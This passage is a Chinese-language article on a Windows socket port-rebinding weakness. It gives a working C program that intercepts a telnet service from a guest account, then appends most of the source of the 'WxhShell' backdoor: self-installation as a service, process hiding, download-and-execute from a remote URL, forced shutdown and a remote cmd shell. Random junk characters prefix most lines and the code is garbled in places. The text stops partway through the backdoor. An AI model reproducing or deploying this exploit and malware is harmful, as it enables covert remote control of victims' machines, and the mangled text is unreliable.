在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
A],ooiq< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
a9U_ug58 )92r{%N saddr.sin_family = AF_INET;
o[1ylzk}+ EU-]sTJLF saddr.sin_addr.s_addr = htonl(INADDR_ANY);
o)Z=m:t,lK OGO~f;7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
q|.dez' }{[mrG 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
7KjUW\mN2Z hBU\'.x 这意味着什么?意味着可以进行如下的攻击:
6oD\-H k`{7}zxS 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ihCIh6 !CUoHTmB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
TsQU6NNE nV_8Ke 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
d3;qsUh$yv x=Hndx^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Q.U$nph\%d G?c-79]U 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^W?Z I97yt[,Yy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
s{bdl[7 (C;I*cv 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HQP}w%8x vZj`| #include
h"+ `13 #include
MV>$BW #include
]3iH[,KU3 #include
1O/
g&u DWORD WINAPI ClientThread(LPVOID lpParam);
t.Nb?/ int main()
2&!bfq![ {
%?Y[Bk3p WORD wVersionRequested;
PU<PhuMd
DWORD ret;
Z{6kWA3Kk WSADATA wsaData;
%
ps$qB' BOOL val;
WjSc/3Qy SOCKADDR_IN saddr;
!h[VUg_8 SOCKADDR_IN scaddr;
&opd2 int err;
n(seNp%_ SOCKET s;
*l&S-=] SOCKET sc;
eYX5(`c[ int caddsize;
ufV!+$C)is HANDLE mt;
bi4f]^hQz DWORD tid;
Z3TS,a1I4 wVersionRequested = MAKEWORD( 2, 2 );
!p/%lU65 err = WSAStartup( wVersionRequested, &wsaData );
8;14Q7,S if ( err != 0 ) {
k^"bLf(4 printf("error!WSAStartup failed!\n");
yp.[HMRD return -1;
v"& pQ }
Gq<X4C#| saddr.sin_family = AF_INET;
D]G)j ao_4m SB //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
jnB~sbyA KJ2Pb"s saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
WI> P-D saddr.sin_port = htons(23);
7CXW#H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
C'yppl% {
}Ew hj>w printf("error!socket failed!\n");
j^tW
Iz return -1;
3DgsI7-F }
sZ,Y60s8a val = TRUE;
Isy'{-H
//SO_REUSEADDR选项就是可以实现端口重绑定的
7{@l%jx][ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
XW{>-PBg: {
0& >H^ printf("error!setsockopt failed!\n");
SP* fv` return -1;
1923N]b }
Y6i _!z[V[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
G;NF5`*4mc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
dovZ#D@Q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
gKLyL]kAGz @Jm7^;9/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)a@k]#)Skm {
tGA :[SP ret=GetLastError();
ML;*e "$ printf("error!bind failed!\n");
OU5*9_7. return -1;
k>x&Ip8p }
;Gx)Noo/> listen(s,2);
W[EKD 7 while(1)
9O{b]=>wq {
l3Njq^T caddsize = sizeof(scaddr);
J^R=dT! //接受连接请求
~/^5) g_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
X@@8"@/u|* if(sc!=INVALID_SOCKET)
y Rp"jcD {
98=wnWX6$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
jls-@Wl if(mt==NULL)
(Yo>Oh4 {
RrUBpqA printf("Thread Creat Failed!\n");
bVP"(H] break;
rc&%m }
_@S`5;4x }
;%tF58& CloseHandle(mt);
ljl^ GFo }
`.s({/|[ closesocket(s);
t!Sq A(-V WSACleanup();
V%$/#sza return 0;
-*5Rnx|Y{ }
.920{G?l5 DWORD WINAPI ClientThread(LPVOID lpParam)
bR@p<;G| {
0TpK#OlI|c SOCKET ss = (SOCKET)lpParam;
qC
F5~;7 SOCKET sc;
][}0#'/mV unsigned char buf[4096];
{*{Ox[Nh{ SOCKADDR_IN saddr;
Eu"_MgD long num;
'y8]_K* DWORD val;
L
"sO+4w DWORD ret;
.bBdQpF- //如果是隐藏端口应用的话,可以在此处加一些判断
p<=$&* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{( r6e saddr.sin_family = AF_INET;
cwiX8e"3 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
dy_:-2S saddr.sin_port = htons(23);
=zQN[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%p%%~ewmx {
Ft}@1w5 printf("error!socket failed!\n");
{s. = )0V return -1;
w]N!S;<N }
%|s+jeUDn| val = 100;
(vT+IZEI if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%iV^S!e {
6@DF ret = GetLastError();
fb^fVSh> return -1;
]_N|L|]M }
jy-{~xdg[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>/|q:b^2r {
/SYw;<= ret = GetLastError();
)GHq/:1W return -1;
<&C]sb }
pK0"%eA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
O/[cpRe {
&b:1I7Cp* printf("error!socket connect failed!\n");
9B;{]c closesocket(sc);
lg^Z*&( closesocket(ss);
7uzkp&+: return -1;
kc0E%odF.v }
|i++0BU while(1)
6}r`/?"A1 {
0_ 88V //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
(o`{uj{! //如果是嗅探内容的话,可以再此处进行内容分析和记录
A~-b!Grf //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2}8v(%s p num = recv(ss,buf,4096,0);
|\pbir if(num>0)
#U14-^7 send(sc,buf,num,0);
3Z1CWzq( else if(num==0)
s{1sE)_ break;
Jv^h\~*jH num = recv(sc,buf,4096,0);
.V,@k7U,V if(num>0)
FSND>\> send(ss,buf,num,0);
p,#o<W else if(num==0)
ob8qe,_' break;
4:FK;~wM&x }
;+ "+3 closesocket(ss);
\ Yx/(e closesocket(sc);
%7|9sQ: return 0 ;
`nu''B
H }
Ofs<EQ $< JaLS } }59V&'t ==========================================================
4r45i: A}l3cP;
`# 下边附上一个代码,,WXhSHELL
=i[\- q.;u?,|E/ ==========================================================
v?geCe=ng Rb'|EiNPw #include "stdafx.h"
@{25xTt 'dn]rV0(C #include <stdio.h>
DMO Mh#[ #include <string.h>
`EaLGzw #include <windows.h>
}~L.qG #include <winsock2.h>
{tWf #include <winsvc.h>
^~etm #include <urlmon.h>
')cMiX\v 9iQq.$A . #pragma comment (lib, "Ws2_32.lib")
F%RRd/' #pragma comment (lib, "urlmon.lib")
|!4K!_y o4Om}]Ti #define MAX_USER 100 // 最大客户端连接数
c24dSNJg, #define BUF_SOCK 200 // sock buffer
r 8RoE`/T #define KEY_BUFF 255 // 输入 buffer
Tc? $>' )P
sY($ & #define REBOOT 0 // 重启
NPp;78O0[ #define SHUTDOWN 1 // 关机
lNYt`xp @u6B;)'l #define DEF_PORT 5000 // 监听端口
M<v%CawS 9w7n1k. #define REG_LEN 16 // 注册表键长度
HMNLa*CL' #define SVC_LEN 80 // NT服务名长度
2fL;-\!y( H*PSR // 从dll定义API
eceP0x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
fumm<:<CLO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
50S&m+4d+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_z|65H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
C&(N
I Tw-;7Ae // wxhshell配置信息
``hf=`We struct WSCFG {
~x1$h#Cx' int ws_port; // 监听端口
Q ~#Wf? char ws_passstr[REG_LEN]; // 口令
.(cw>7e3D int ws_autoins; // 安装标记, 1=yes 0=no
"y}-- char ws_regname[REG_LEN]; // 注册表键名
W:pIPDx1=! char ws_svcname[REG_LEN]; // 服务名
NXrJfp char ws_svcdisp[SVC_LEN]; // 服务显示名
)6Fok3u char ws_svcdesc[SVC_LEN]; // 服务描述信息
uxr #QA char ws_passmsg[SVC_LEN]; // 密码输入提示信息
S4_YT@VD% int ws_downexe; // 下载执行标记, 1=yes 0=no
a.k.n< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
f*?]+rz char ws_filenam[SVC_LEN]; // 下载后保存的文件名
iP7(tnlW$ rX2.i7i, };
yPb" V !$gR{XH$] // default Wxhshell configuration
GjvOM y struct WSCFG wscfg={DEF_PORT,
N5lDS "xuhuanlingzhe",
I&x=; 1,
9y"@( "Wxhshell",
0AL=S$B) "Wxhshell",
p8Qk'F=h "WxhShell Service",
fHx*e'eA "Wrsky Windows CmdShell Service",
v dc\R? "Please Input Your Password: ",
gCB |DY 1,
x??+~$}\*- "
http://www.wrsky.com/wxhshell.exe",
| ATvS2 "Wxhshell.exe"
B|C2lu };
c(xrP/yOwi Ng2twfSl$ // 消息定义模块
\@c,3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
52Z2]T
c, char *msg_ws_prompt="\n\r? for help\n\r#>";
Yg||{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ga^"1TZ x char *msg_ws_ext="\n\rExit.";
iu=7O char *msg_ws_end="\n\rQuit.";
,/Z%@-rF char *msg_ws_boot="\n\rReboot...";
8e1UmM[ char *msg_ws_poff="\n\rShutdown...";
0ypNUG} char *msg_ws_down="\n\rSave to ";
"*e$aTZB\ qN9(S:_Px char *msg_ws_err="\n\rErr!";
RbOUfD(J4 char *msg_ws_ok="\n\rOK!";
}C"%p8=HM V^bwXr4f char ExeFile[MAX_PATH];
?BeiY zg int nUser = 0;
p>v$FiV2N HANDLE handles[MAX_USER];
Nk?
^1n$ int OsIsNt;
g}k`o!q Y!w`YYKP SERVICE_STATUS serviceStatus;
vc;$-v$& SERVICE_STATUS_HANDLE hServiceStatusHandle;
B"1c yg<R=$n,Q // 函数声明
rr],DGg+B] int Install(void);
0d)M\lG int Uninstall(void);
IL#"~D? int DownloadFile(char *sURL, SOCKET wsh);
wDal5GJp int Boot(int flag);
l[0RgO*S void HideProc(void);
k8&;lgO' int GetOsVer(void);
HdUQCugxx: int Wxhshell(SOCKET wsl);
P64PPbP void TalkWithClient(void *cs);
823Y\x~> int CmdShell(SOCKET sock);
Q4#m\KK;i9 int StartFromService(void);
\kL3.W_ int StartWxhshell(LPSTR lpCmdLine);
/K@XzwM M=@:ZQ^! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&R'c. VOID WINAPI NTServiceHandler( DWORD fdwControl );
aFX=C>M 7WLy:E" // 数据结构和表定义
uP)'FI SERVICE_TABLE_ENTRY DispatchTable[] =
_^Ubs>d=* {
/L
g)i\R; {wscfg.ws_svcname, NTServiceMain},
g[' ^L+hd {NULL, NULL}
3w*R& };
2j[=\K] JzQ_{J`k // 自我安装
6,8h]?u. int Install(void)
xX&+WR {
fgp]x&5Q char svExeFile[MAX_PATH];
[Gb.
JO}X HKEY key;
\h/H#jZJ strcpy(svExeFile,ExeFile);
]v UwG--* cKca;SNql1 // 如果是win9x系统,修改注册表设为自启动
G:<aB if(!OsIsNt) {
#4<SAgq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*SJ_z(CZm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:'X &bn RegCloseKey(key);
>C>.\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?=Z?6fw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
UmP/h@8 RegCloseKey(key);
@1roe
G return 0;
_aSxc)? }
XJ;57n-? }
X]TG<r }
J/y83@ else {
O3,jg|, yLvDMPj // 如果是NT以上系统,安装为系统服务
< `=j^LU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
UERLtSQ if (schSCManager!=0)
.5_2zat0H {
2`K=Hby SC_HANDLE schService = CreateService
AlaW=leTe (
cA?W7D schSCManager,
AofKw wscfg.ws_svcname,
y%cP1y) wscfg.ws_svcdisp,
hE D}h![ SERVICE_ALL_ACCESS,
g
wRZ%.Cn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|tH4:%Q' SERVICE_AUTO_START,
Q~
w|# SERVICE_ERROR_NORMAL,
0
1rK8jX svExeFile,
W' VslZG NULL,
tCH!my_ NULL,
Naf0)3q>! NULL,
(=AWOU+ NULL,
W:2( .? NULL
\';gvr| );
Ty?cC** if (schService!=0)
q6luUx,@m {
_1\v CloseServiceHandle(schService);
& '`g#N CloseServiceHandle(schSCManager);
F v2-( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"%w u2%i strcat(svExeFile,wscfg.ws_svcname);
+{.WQA}z\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
P/eeC" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}j)e6>K]) RegCloseKey(key);
97*p+T<yp return 0;
&DX! f }
~TD0zAA& }
<)H9V-5aZ CloseServiceHandle(schSCManager);
~qKY) "gG }
0v?"tOT! }
%J?xRv! Ffz,J6b return 1;
JX;G<lev }
FDs>m
#e )Nw8O{\ // 自我卸载
YK'<NE3 4 int Uninstall(void)
n b?lTX~ {
.|70; HKEY key;
i[3'ec3 E{`fF8]K if(!OsIsNt) {
XNkn|q2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!*N@ZL&X RegDeleteValue(key,wscfg.ws_regname);
Bnxm HGP#& RegCloseKey(key);
F^;ez/Gl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gR;i(81U RegDeleteValue(key,wscfg.ws_regname);
r`d4e,( RegCloseKey(key);
\ ~$#1D1f return 0;
N~)_DjQP5 }
"<1{9 }
/(*q}R3Kfo }
{4Cmu;u else {
FvjPdN/L?R '-~~-}= sJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7R\<inCQ if (schSCManager!=0)
@RKryY) {
zRr*7G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
#)O65GI if (schService!=0)
aX'*pK/- {
sDlO# if(DeleteService(schService)!=0) {
%P|/A+Mg" CloseServiceHandle(schService);
+=</&Tm CloseServiceHandle(schSCManager);
mz0X3 return 0;
hRhe& ,v }
YN F k CloseServiceHandle(schService);
<PH#[dH }
htF] W|z CloseServiceHandle(schSCManager);
T(Eugl" }
NZ0;5xGR }
HIZe0%WPw 2^nxoye return 1;
!Wnb|=j }
] (8[}CeL '5$b-x6 F // 从指定url下载文件
>|UOz& int DownloadFile(char *sURL, SOCKET wsh)
%IWPM" {
2FJ*f/ HRESULT hr;
^<2p~h0
\ char seps[]= "/";
LZY"3Jn[nQ char *token;
lt8|9"9< char *file;
A3/k@S-R2 char myURL[MAX_PATH];
SE %pw9 char myFILE[MAX_PATH];
kt:!
7 YIYmiv5 strcpy(myURL,sURL);
EaN6^S= token=strtok(myURL,seps);
s2'h while(token!=NULL)
-[.[>&`/ {
u'BaKWPS file=token;
?6WY:Zec@ token=strtok(NULL,seps);
1=V-V< }
h2d(?vOT xwo<' xT GetCurrentDirectory(MAX_PATH,myFILE);
@K-">f strcat(myFILE, "\\");
$xN|5;+ strcat(myFILE, file);
0 kW,I send(wsh,myFILE,strlen(myFILE),0);
&D*b|ilvc send(wsh,"...",3,0);
C~/a- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f.)O2= if(hr==S_OK)
.?$gpM?i return 0;
$=4QO else
W'M*nR|xo return 1;
Ysv"
6b} vdwsJPFbc }
Gk6iIK >z@0.pN]7 // 系统电源模块
jse&DQ int Boot(int flag)
S)@j6(HC4 {
sXFZWj}\ HANDLE hToken;
|yPu!pfl TOKEN_PRIVILEGES tkp;
I; rGD^ Cp0=k if(OsIsNt) {
F:S}w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
S?2>Er LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
=T7.~W tkp.PrivilegeCount = 1;
0o&5]lEe tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]D\D~!R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
VI*$em O0 if(flag==REBOOT) {
l*G[!u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
X"%gQ.1|{j return 0;
yJIscwF }
1$h,m63) else {
vnuN6M{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Ig{0Z"> return 0;
f3y=Wxk[ }
c-sfg>0 ^ }
El8,,E else {
|2A:eI8 ^ if(flag==REBOOT) {
SOIN']L|V[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
do'GlU oMC return 0;
'LDQgC*% }
\s\?l(ooq" else {
wUJcmM; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
P]C<U aW'! return 0;
k+*u/neh }
x]j W<A }
%8v\FS 1< ?4\?j return 1;
S3J^,*' }
~a2}(] N?8!3&TiV // win9x进程隐藏模块
j1<Yg,_.p void HideProc(void)
CAf6:^0 {
&UFZS94@r F8ulkcD HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Kc\fu3Q
if ( hKernel != NULL )
{_*yGK48n {
)t%b838l% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
\Vk:93OH21 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
n+R7D.<q!! FreeLibrary(hKernel);
.e-#yET }
|DwZ{(R"W :Hbv)tS\3w return;
eyxW 0}[ }
#O&8A Pg{J{gn // 获取操作系统版本
m]&SN z= int GetOsVer(void)
t6t!t*jO {
|N] XJ)? OSVERSIONINFO winfo;
K(|}dl: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
C,eu9wOT GetVersionEx(&winfo);
lU]nd[x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
R.3q0yZ
wF return 1;
cWm$;`Q#\ else
# f\rt
return 0;
FP>2C9:d }
n=q76W\ 0n'_{\yz // 客户端句柄模块
cZ3v=ke^ int Wxhshell(SOCKET wsl)
_yT Ed"$
{
!<F3d`a SOCKET wsh;
fV~[;e;U. struct sockaddr_in client;
GLODVcjf DWORD myID;
!
dgNtI@ 1Z&(6cDY8M while(nUser<MAX_USER)
W*Y/l~x} {
$:^td/p J int nSize=sizeof(client);
Ho]su? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
zT{VE+= if(wsh==INVALID_SOCKET) return 1;
w!XD/jN W@esITr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-Qe'YBy: if(handles[nUser]==0)
Uw:"n]G]D? closesocket(wsh);
M3au{6y else
d_P` qA nUser++;
#0<XNLM }
Pzem{y7Ir WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1 -b_~DF $pz/?>! return 0;
+cRn%ioVi }
[N'h%1]\ t#yuOUg // 关闭 socket
3(UVg!t void CloseIt(SOCKET wsh)
V VCZ9MVJ {
uw8f ~:LT closesocket(wsh);
y)<q/ nUser--;
2A!FDr~cdT ExitThread(0);
]_$[8#kg }
p]"4#q\( &e3.:[~_? // 客户端请求句柄
&nK<:^n void TalkWithClient(void *cs)
"wc<B4" {
")25
qZae E(|>Ddv B& SOCKET wsh=(SOCKET)cs;
8cQ'dL`( char pwd[SVC_LEN];
yh=N@Z*zP char cmd[KEY_BUFF];
Bbp|!+KP{( char chr[1];
5LMw?P.< int i,j;
LH6vLuf }PpUAt~g while (nUser < MAX_USER) {
_
x*3PE T^q
0'#/ if(wscfg.ws_passstr) {
Mb=" Te>| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fXB0j;A //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`F6C- //ZeroMemory(pwd,KEY_BUFF);
p b,. r i=0;
fc@A0Hf while(i<SVC_LEN) {
&m vSiyKX WF"k[2 // 设置超时
DV{=n C fd_set FdRead;
Hx:;@_gq struct timeval TimeOut;
hv+zGID7 FD_ZERO(&FdRead);
;wD)hNLAvR FD_SET(wsh,&FdRead);
1YMh1+1 TimeOut.tv_sec=8;
E\$W_Lmr TimeOut.tv_usec=0;
rM"l@3hP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
c[e}w+uB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
1:wQ.T [Nq*BrzF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
tMe ~vq[ pwd
=chr[0]; QS j]ZA
if(chr[0]==0xd || chr[0]==0xa) { xezcAwW
pwd=0; %>s|j'{
break; p4)Q&k!
} wNX]7wMX
i++; h7@6T+#WoT
} g
`4<9RMun
mVmGg,
// 如果是非法用户,关闭 socket jFb?b6b
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mBC+6(5V
} YbLW/E\T
v8DC21pb
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y?!"6t7&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4.(4x&
J^/p(
while(1) { CQ2jP
G*py
},[}$m%
ZeroMemory(cmd,KEY_BUFF); YoE3<[KD(
]R? 4{t4
// 自动支持客户端 telnet标准 O9p|a%o
j=0; uVU)d1N
while(j<KEY_BUFF) { rQ9'bCSr%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P>6{&(
cmd[j]=chr[0]; k_R"CKd
if(chr[0]==0xa || chr[0]==0xd) { `,0}ZzaV&
cmd[j]=0; tI{_y
break; y!%CffF2
} ?hM64jI|
j++; /Q )\ +
} j~QwV='S
Qei"'~1a
// 下载文件 { "E\Jcjl\
if(strstr(cmd,"http://")) { RGX=)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "*H`HRi4T
if(DownloadFile(cmd,wsh)) h7 I{
4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E!AE4B1bd
else $wU\Js`/S]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u2[w#
} A(0lM`X
else { fn!KQ`,#
4`R(?
switch(cmd[0]) { RrgGEx
.[ mRM
// 帮助 *9i{,I@
case '?': { X8`Sf>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]:\dPw`A
break; }d }lR
} 8.~kK<)!
// 安装 E~:x(5'%d
case 'i': { %PJQ%~
A
if(Install()) -!9G0h&i|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nxHkv`s k
else Y4(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); llsfTrp
break; *\q
d
} MJrR[h]
// 卸载 YAmb`CP
case 'r': { >"<Wjr8W!$
if(Uninstall()) &t-kpA|EG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f
V( J|
else [c06 N$:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xP,hTE
break; jNy.Y8E&
} V470C@
// 显示 wxhshell 所在路径 qyNyBr?
case 'p': { e~':(/%|5;
char svExeFile[MAX_PATH]; "wHFN>5B
strcpy(svExeFile,"\n\r"); ~3 bPIg7D
strcat(svExeFile,ExeFile); E+JqWR5
send(wsh,svExeFile,strlen(svExeFile),0); H7j0K ~U0
break; 4a]P7fx-
} &!
?eL
// 重启 <"|,"hA
case 'b': { PiYxk+N
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1sH&
sGy7
if(Boot(REBOOT)) V$?SR44>nH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8&aq/4:q0
else { J)C/u{o
closesocket(wsh); K96<M);:g
ExitThread(0); (!N|Kl
} JO<wU
break; "w.3Q96r
} WeiFmar
// 关机 3%ZOKb"D*
case 'd': { m%e68c
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t<viX's
if(Boot(SHUTDOWN)) t`mV\)fa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wiu"k%Qsh
else { &JI8]JmU)
closesocket(wsh); (J!+(H8
ExitThread(0); Z)aUt
Srf
} &9)\wnOS
break; Ez=Olbk
} #
4PVVu<
// 获取shell ZJ[
??=Gz
case 's': { d<N:[Y\4l
CmdShell(wsh); N*&1GT#9
closesocket(wsh); xK\d4"
ExitThread(0); e@OX_t_
break; 9
|vLwQ
} \} :PLCKT
// 退出 5o8EC"
0
case 'x': { d{7+w/Zi
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tC9n
k5~
CloseIt(wsh); Oo%d]8W
break; 3kMf!VL
} cpJ|w3xB
// 离开 7x4PaX(
case 'q': { t1y4 7fX6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); sp*v?5lW
closesocket(wsh); #?9;uy<j.q
WSACleanup(); 1PV'?tXp(
exit(1); \)?HJ
break; "!%l/_p?
} nQ,HMXj
} hFl^\$Re
} 2V;PYI
1HZO9cXJ
// 提示信息 n#OB%@]<V
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s+?zL~t
} pD#rnp>WWt
} [mGLcg6Fw
M1iS(x
return; )f<z%:I+Z
} m-"w0Rl1T
3x'|]Ns
// shell模块句柄 "5wa91*
int CmdShell(SOCKET sock) X*@dj_,
{ _t #k,;
STARTUPINFO si; o$lM$E:
ZeroMemory(&si,sizeof(si)); _8_R 1s
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4u5-7[TZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]F'e
aR
PROCESS_INFORMATION ProcessInfo; g~A`N=r;h
char cmdline[]="cmd"; -:y,N
9^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P! #[mio
return 0; +s DV~\Vu
} T <ET
)D7
&AbNWtCV+G
// 自身启动模式 *.d)OOpLo
int StartFromService(void) \ Et3|Iv
{ oHn
Ky[1
typedef struct wyO4Y
{ SmSH2m-
DWORD ExitStatus; U/l&tmIVY
DWORD PebBaseAddress; 'Xq|Kf (
DWORD AffinityMask; o]M5b;1
DWORD BasePriority;
DwE[D]7o
ULONG UniqueProcessId; 8i#2d1O
